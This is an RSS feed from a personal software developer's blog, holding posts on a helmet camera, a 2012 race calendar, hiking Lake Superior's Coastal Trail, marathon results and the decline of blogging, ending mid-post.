<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Adam.Kahtava.com / AdamDotCom</title>
	
	<link>http://adam.kahtava.com/journal</link>
	<description>A software development blog</description>
	<lastBuildDate>Thu, 22 Mar 2012 16:40:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Adam-Kahtava/AdamDotCom" /><feedburner:info uri="adam-kahtava/adamdotcom" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>51.044286</geo:lat><geo:long>-114.063157</geo:long><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/Adam-Kahtava/AdamDotCom" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsalloy.com/?rss=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.newsalloy.com/subrss3.gif">Subscribe with NewsAlloy</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><feedburner:feedFlare href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><item>
		<title>Now Streaming HD: The New Camara</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/NbcT-I0b2EU/</link>
		<comments>http://adam.kahtava.com/journal/2012/01/30/now-streaming-hd-the-new-camara/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 16:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=3113</guid>
		<description><![CDATA[I&#8217;ll be the first to admit that I&#8217;m a gear weenie, but I&#8217;m in good company &#8211; most IT workers share my enthusiasm. Friends in real life are cringing at the thought of the &#8220;Adam Paparazzi&#8221; in their face. Similarly friends on Twitter, Facebook, Flickr, and RunKeeper are rolling their eyes in agreement as they [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll be the first to admit that I&#8217;m a gear weenie, but I&#8217;m in good company &#8211; most IT workers share my enthusiasm. Friends in real life are cringing at the thought of the &#8220;Adam Paparazzi&#8221; in their face. Similarly friends on <a href="http://twitter.com/AdamDotCom">Twitter</a>, <a href="http://www.facebook.com/kahtava">Facebook</a>, <a href="http://www.flickr.com/photos/kahtava/">Flickr</a>, and <a href="http://runkeeper.com/user/AdamDotCom">RunKeeper</a> are  rolling their eyes in agreement as they read this and see another status update roll by. </p>
<p>As a self proclaimed technology enthusiast; most of my activities are GPS tracked (along with my vitals), and a camera are close at hand. I enjoy sharing my experiences &#8211; most of my childhood friends and family live in Eastern Canada (2,500km away), so technology is the great connector. The way I see it; while having a camera on (or in your face) can be annoying at the time, eventually this media will become invaluable to your family, friends, and yourself as your memory fades.</p>
<p>My latest piece of gear is a camera that mounts on a helmet / bike and a <a href="http://www.youtube.com/user/AdamKahtavaCom/videos">YouTube Channel</a>.</p>
<p>Here&#8217;s a video of Steph and I, on <a href="http://www.youtube.com/watch?v=68I1Ekpy62M">Mount Standish in Sunshine Village</a>.</p>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/68I1Ekpy62M" frameborder="0" allowfullscreen></iframe></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=NbcT-I0b2EU:u927YQeJyv8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=NbcT-I0b2EU:u927YQeJyv8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=NbcT-I0b2EU:u927YQeJyv8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=NbcT-I0b2EU:u927YQeJyv8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=NbcT-I0b2EU:u927YQeJyv8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=NbcT-I0b2EU:u927YQeJyv8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=NbcT-I0b2EU:u927YQeJyv8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=NbcT-I0b2EU:u927YQeJyv8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/NbcT-I0b2EU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2012/01/30/now-streaming-hd-the-new-camara/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2012/01/30/now-streaming-hd-the-new-camara/</feedburner:origLink></item>
		<item>
		<title>The 2012 Running Plan</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/E7C2oK-mHzY/</link>
		<comments>http://adam.kahtava.com/journal/2012/01/16/the-2012-running-plan/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 08:00:57 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=3079</guid>
		<description><![CDATA[Here&#8217;s my rough running plans for 2012 &#8211; after all, an organized schedule means I can take advantage of early bird discounts, which translates into more events. Calgary&#8217;s St Patrick&#8217;s Day 10km, March 17. I&#8217;ve never run this event before, it&#8217;ll be my second 10km event and my winter running motivation. Calgary&#8217;s Police Half, April [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><img src="http://calgarypolicehalf.typepad.com/photos/2011_calgary_police_half_/58690005.jpg" alt="" style="width: 240px"></div>
<p>Here&#8217;s my rough running plans for 2012 &#8211; after all, an organized schedule means I can take advantage of early bird discounts, which translates into more events.</p>
<p><strong><a href="http://www.calgaryroadrunners.com/forms/st_patricks_race2012.pdf">Calgary&#8217;s St Patrick&#8217;s Day 10km</a></strong>, March 17. I&#8217;ve never run this event before, it&#8217;ll be my second 10km event and my winter running motivation.</p>
<p><strong><a href="http://calgarypolicehalf.typepad.com/">Calgary&#8217;s Police Half</a></strong>, April 29. Last year this event was pretty challenging &#8211; Calgary was blanketed with fresh snow the night before the race. Typically this race is lead by a police cruiser, but the car got stuck about a kilometer into the course, portions of the route weren&#8217;t cleared, and the snow covered ice was slippery, I know, I fell. This race is a nice ease into the running season.</p>
<p><strong><a href="http://www.bmovanmarathon.ca/">The Vancouver Marathon</a></strong>, May 6. <a href="http://adam.kahtava.com/journal/2011/06/01/marathon-results/">This event crushed me last year</a> &#8211; totally my own fault, I didn&#8217;t take enough fuel and bonked hard. I really enjoyed Vancouver for its scenery, climate, and sea level advantage. I&#8217;ve got a bit more experience with long distance running and hope to crush it this year. :)</p>
<p><strong><a href="http://www.calgarymarathon.com/">The Calgary Marathon</a></strong>, May 27. Where it all began &#8211; in &#8217;09 I signed up for my first race ever and have been running since. This year I&#8217;m running for <a href="http://www.mitocanada.org/team/">Team MitoCanada</a>. Please consider donating to (or better yet, joining) <a href="http://my.e2rm.com/TeamPage.aspx?teamID=267775&#038;langPref=en-CA">my team</a>.</p>
<p><strong><a href="http://rundlesrevenge.com/">Rundle&#8217;s Revenge</a></strong>, June 24th. My first crack at a race longer than marathon distance.</p>
<p><strong><a href="http://furious3.com/html/fernie.html">Fernie&#8217;s Furious 3</a></strong>, June 30th &#8211; July 2nd. A three day staged mountain bike race. </p>
<p><strong><a href="http://powderface42.com/">Powderface42</a></strong>, July 14th. It&#8217;s a 42km trail run around Powderface in Kananaskis, I&#8217;ve biked the route so running it will be interesting, painful, or all of the above.</p>
<p>My fingers are crossed for an injury free season. </p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=E7C2oK-mHzY:-W8B3ZzhUCI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=E7C2oK-mHzY:-W8B3ZzhUCI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=E7C2oK-mHzY:-W8B3ZzhUCI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=E7C2oK-mHzY:-W8B3ZzhUCI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=E7C2oK-mHzY:-W8B3ZzhUCI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=E7C2oK-mHzY:-W8B3ZzhUCI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=E7C2oK-mHzY:-W8B3ZzhUCI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=E7C2oK-mHzY:-W8B3ZzhUCI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/E7C2oK-mHzY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2012/01/16/the-2012-running-plan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2012/01/16/the-2012-running-plan/</feedburner:origLink></item>
		<item>
		<title>Hiking Lake Superior Provincial Park</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/8LPg3nb3u0Q/</link>
		<comments>http://adam.kahtava.com/journal/2011/12/20/hiking-lake-superior-provincial-park/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 18:00:09 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=3014</guid>
		<description><![CDATA[Lake Superior Provincial Park is one of my favourite places. The lake itself is brilliantly clear, the water clean enough to drink unfiltered (provided you&#8217;re drinking it well away from shore). The shoreline is dotted with uncountable warm coves to swim in (August), few bugs (again, August), and breathtaking views, but&#8230; I&#8217;m entirely biased. This [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;">
<table style="border: 0px; width: 100%;">
<tr>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/6026227485/in/set-72157627394457194"><img title="Lake Superior Provincial Park" src="http://farm7.staticflickr.com/6073/6026227485_b5e2361f6d_m.jpg" alt="Lake Superior Provincial Park" /></a></td>
</tr>
<tr>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/6026694144/in/set-72157627394457194"><img title="Lake Superior Provincial Park" src="http://farm7.staticflickr.com/6137/6026694144_f5d258c1cd_m.jpg" alt="Lake Superior Provincial Park" /></td>
</tr>
<tr>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/6027819132/in/set-72157627394457194/"><img title="Lake Superior Provincial Park" src="http://farm7.staticflickr.com/6142/6027819132_b6739921bd_m.jpg" alt="Lake Superior Provincial Park" /></td>
</tr>
<tr>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/6026788366/in/set-72157627394457194/"><img title="Lake Superior Provincial Park" src="http://farm7.staticflickr.com/6062/6026788366_5f01d10fc5_m.jpg" alt="Lake Superior Provincial Park" /></td>
</tr>
</table>
</div>
<p><a href="http://en.wikipedia.org/wiki/Lake_Superior_Provincial_Park">Lake Superior Provincial Park</a> is one of my favourite places. The lake itself is brilliantly clear, the water clean enough to drink unfiltered (provided you&#8217;re drinking it well away from shore). The shoreline is dotted with uncountable warm coves to swim in (August), few  bugs (again, August), and breathtaking views, but&#8230; I&#8217;m entirely biased. This landscape is home (I grew up in the area) and both Steph (the girlfriend, now wife) and I were employed by this park while going to school. Steph as a Natural Heritage Educator and I as an an Interior Ranger. </p>
<p>Being an Interior Ranger had some great experiences; one day our crew flagged down a train, rode a boxcar with the doors wide open, got dropped off at Agawa Falls with a chainsaw and cleaned the trail as we hiked out. Then there were the multiday treks where we&#8217;d travel (portage, by canoe) through the interior of the park, self sustained as we assessed trail conditions, and explored old decomposing fly-in / hunting camps, and houses from decades gone by. I hiked all but one trail my first summer there. Man, I wish I had a camera back then. </p>
<p>Anyhow, back to the topic of this post. This past summer we retraced our footsteps as we hiked Lake Superior&#8217;s Coastal Trail. </p>
<p>The Coastal Trail is about 65km, but we chose our favourite stretch &#8211; the 25km stretch between Gargantua Harbour and Orphan Lake. This portion of the trail is affectionately referred to as the &#8220;rugged&#8221; part, but &#8220;rugged&#8221; is an understatement. Most of this stretch of trail is off camber as you follow the exposed <a href="http://en.wikipedia.org/wiki/Canadian_Shield">Canadian Shield</a> along the shoreline and when the trail&#8217;s not off camber then it&#8217;s ankle wrenching boulder beaches with rocks ranging from fist size rocks to the size of a cube van. There are no man made structures to assist in the undulating climbs, and the blue trail markers are few and far between (cairns mark most of the trail). Many times our route (well&#8230; usually MY route) would lead to a dead end, I&#8217;d scratch my head, Steph would roll her eyes, and then we&#8217;d spot a trail marker up on a distant bluff. If a storm unexpectedly kicked up you&#8217;d be stranded. Walking on wet lichen covered rock or bushwhacking your own route through the dense trees in search of higher ground with a backpack for 25km is sure to get you hurt. Good news though; it&#8217;s really difficult getting lost with the world&#8217;s largest freshwater lake on your side. The going may be slow, but the views, geology, and orienteering keep things interesting. This is my favourite hike, I highly recommend it. </p>
<p>View more photos <a href="http://www.flickr.com/photos/kahtava/sets/72157627394457194/">here</a>.</p>
<div style="float: right;padding-left: 5px;">
<table  style="border: 0px; width: 100%;">
<tr>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/538900791/"><img src="http://farm2.staticflickr.com/1210/538900791_6ebb7afa10_m.jpg" /><br />Beatty Cove 2001</a></td>
<td style="border: 0px;"><a href="http://www.flickr.com/photos/kahtava/6026325451/in/set-72157627394457194/"><img src="http://farm7.staticflickr.com/6090/6026325451_bf3f4c568d_m.jpg" /><br />Beatty Cove 2011</a></td>
</tr>
</table>
</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=8LPg3nb3u0Q:-eGajxUnP3o:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=8LPg3nb3u0Q:-eGajxUnP3o:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=8LPg3nb3u0Q:-eGajxUnP3o:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=8LPg3nb3u0Q:-eGajxUnP3o:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=8LPg3nb3u0Q:-eGajxUnP3o:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=8LPg3nb3u0Q:-eGajxUnP3o:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=8LPg3nb3u0Q:-eGajxUnP3o:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=8LPg3nb3u0Q:-eGajxUnP3o:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/8LPg3nb3u0Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/12/20/hiking-lake-superior-provincial-park/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/12/20/hiking-lake-superior-provincial-park/</feedburner:origLink></item>
		<item>
		<title>Marathon Results</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/VsGW3YsVIzk/</link>
		<comments>http://adam.kahtava.com/journal/2011/06/01/marathon-results/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 14:30:11 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Calgary]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2921</guid>
		<description><![CDATA[Well&#8230; I&#8217;ve run two marathons in the past month, three to date, and each has been a huge learning experience. At the 2011 Vancouver Marathon I didn&#8217;t fuel properly and bonked hard (hit the wall). Aside from a couple cups of Gatorade I didn&#8217;t take any fuel &#8211; big rookie mistake! Running a marathon takes [...]]]></description>
			<content:encoded><![CDATA[<p>Well&#8230; I&#8217;ve run two marathons in the past month, three to date, and each has been a huge learning experience.</p>
<p>At the 2011 Vancouver Marathon I didn&#8217;t fuel properly and bonked hard (<a href="http://en.wikipedia.org/wiki/Hitting_the_wall">hit the wall</a>). Aside from a couple cups of Gatorade I didn&#8217;t take any fuel &#8211; big rookie mistake! Running a marathon takes something like 3,000 calories, the average runner can store about 2,500 calories, and the deficit has to be made up by eating while on the run. I&#8217;ve never hit the wall before and the experience was incredibly frustrating. A kilometer from the finish my legs started feeling like cooked noodles, the finish would have been in view if my vision hadn&#8217;t been tunneling. I trudged towards the line in what felt like an intoxicated stupor finishing in <a href="http://www.bmovanmarathon.ca/results/race_results/bmo_race_results/page3.php?race=50">3:10</a>, but my half split was 1:26 and last kilometer almost took 9 minutes &#8211; I met my rough goal of 3:10 (a 2012 Boston Marathon qualifying time), but was expecting to finish faster.</p>
<p>29 days later I ran the 2011 Calgary Marathon. I played this one a bit too cautious focusing on hydration, and fueling. I was disappointed that I didn&#8217;t put more effort into the race. I may have taken a bit too much water as I suffered side stitches at 30km then my calves started cramping around the 35km mark. I finished Calgary in <a href="http://www.winningtime.ca/11/11calgarymarathon/oallmarathon.txt">3:15</a>. </p>
<p>It&#8217;s been a great learning experience and there&#8217;s lots to look forward to. Long distance runners peak somewhere between the age of 30 and 37 and I&#8217;m just getting started. My next target is to shave another 20 minutes off my marathon time.</p>
<p>Here&#8217;s a video that gives you an idea of what hitting the wall feels like: <a href="http://www.youtube.com/watch?v=g_utqeQALVE">Paula Newby Frazier is &#8220;Hitting The Wall&#8221;</a>.</p>
<p><iframe width="425" height="349" src="http://www.youtube.com/embed/g_utqeQALVE" frameborder="0" allowfullscreen></iframe></p>
<p>In other news <a href="http://www.climbing.com/news/hotflashes/steckeigerrecord08/">Ueli Steck climbed the north face of Eiger in 2:47</a>, that&#8217;s about 1800m (6000ft) of vertical elevation. Watch Ueli run up a mountain: <a href="http://www.youtube.com/embed/NxqB9T3T004">Ueli Steck speed solo Eiger record</a>.</p>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/NxqB9T3T004" frameborder="0" allowfullscreen></iframe></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VsGW3YsVIzk:cDF2_J6xidM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VsGW3YsVIzk:cDF2_J6xidM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VsGW3YsVIzk:cDF2_J6xidM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VsGW3YsVIzk:cDF2_J6xidM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VsGW3YsVIzk:cDF2_J6xidM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VsGW3YsVIzk:cDF2_J6xidM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VsGW3YsVIzk:cDF2_J6xidM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VsGW3YsVIzk:cDF2_J6xidM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/VsGW3YsVIzk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/06/01/marathon-results/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/06/01/marathon-results/</feedburner:origLink></item>
		<item>
		<title>The Blog Atrophy</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/3Kkrxc9hHb8/</link>
		<comments>http://adam.kahtava.com/journal/2011/05/11/the-blog-atrophy/#comments</comments>
		<pubDate>Wed, 11 May 2011 17:00:00 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2909</guid>
		<description><![CDATA[Hey, what happened to all the bloggers? Well&#8230; we grew up, grew out, and moved on. Perhaps we&#8217;ve become tired of community based online learning, we&#8217;ve discovered greater meaning in palpable communities, we&#8217;re pursuing new hobbies and responsibilities. We&#8217;re finding our internet memes and funny videos on social media. As developers we&#8217;re bored of whining [...]]]></description>
			<content:encoded><![CDATA[<p>Hey, what happened to all the bloggers? Well&#8230; we grew up, grew out, and moved on. Perhaps we&#8217;ve become tired of community based online learning, we&#8217;ve discovered greater meaning in palpable communities, we&#8217;re pursuing new hobbies and responsibilities. We&#8217;re finding our internet memes and funny videos on social media. As developers we&#8217;re bored of whining about decrepit technologies, we&#8217;ve found contentment in friendlier frameworks and work environments. Our confidence and abilities have grown, we&#8217;ve discovered that tools don&#8217;t matter, we&#8217;re no longer here to present the tips and tricks of the latest technology. The blog once established our street cred, but online reputation has transitioned to open source contributions and sites like <a href="http://stackoverflow.com/">Stack Overflow</a> and <a href="https://github.com/">github</a>. The effort of a blog is befittingly employed elsewhere.</p>
<div class="feedflare">
